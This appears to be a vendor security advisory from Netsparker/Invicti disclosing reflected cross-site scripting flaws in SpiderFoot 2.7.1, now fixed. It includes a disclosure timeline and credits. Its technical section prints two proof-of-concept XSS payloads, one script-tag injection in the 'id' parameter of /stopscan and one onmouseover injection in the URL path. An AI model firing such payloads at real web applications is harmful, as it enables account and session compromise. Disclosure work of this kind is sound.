Information
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Advisory by Netsparker (now Invicti)
Name: Multiple Reflected XSS Vulnerabilities in SpiderFoot
Affected Software: SpiderFoot
Affected Versions: 2.7.1
Vendor Homepage: http://www.spiderfoot.net 
Vulnerability Type: Cross-site Scripting
Severity: Important
Status: Fixed
Invicti Advisory Reference: NS-17-003

Technical Details
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Proof of Concept URL for XSSes vulnerabilities in SpiderFoot;

URL /stopscan?id='"--></style></scRipt><scRipt>alert(0x00F93C)</scRipt>
Parameter Name id
Parameter Type GET
Attack Pattern '"--></style></scRipt><scRipt>alert(0x00F93C)</scRipt>

URL /stopscan/'onmouseover='alert(0x00FA0E)
Parameter Name URI-BASED
Parameter Type Full URL
Attack Pattern /'onmouseover='alert(0x00FA0E)

For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS).

Advisory Timeline
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18 Dec 2016 - Issue reported
30 Dec 2016 - Vendor fixed
24 Jan 2017 - Advisory released

Solution
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Download latest version of SpiderFoot.

Credits & Authors
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This issues has been discovered by Omar Kurt while testing Invicti Web Application Security Scanner.

About Invicti
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Invicti Security is transforming the way web applications are secured. Invicti empowers organizations in every industry to scale their overall security operations, make the best use of their security resources, and engage developers in helping to improve their overall security posture.